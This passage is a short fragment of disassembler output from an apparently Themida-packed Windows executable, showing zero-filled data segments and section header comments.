0CCCCCC30h, 7B7h dup(0CCCCCCCCh) dd 0CCCCCCh, 3F2h dup(0) Themida_ ends ; Section 5. (virtual address 001BC000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 001BC000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 5BC000h dd 80h dup(0) align 1000h _idata2 ends end start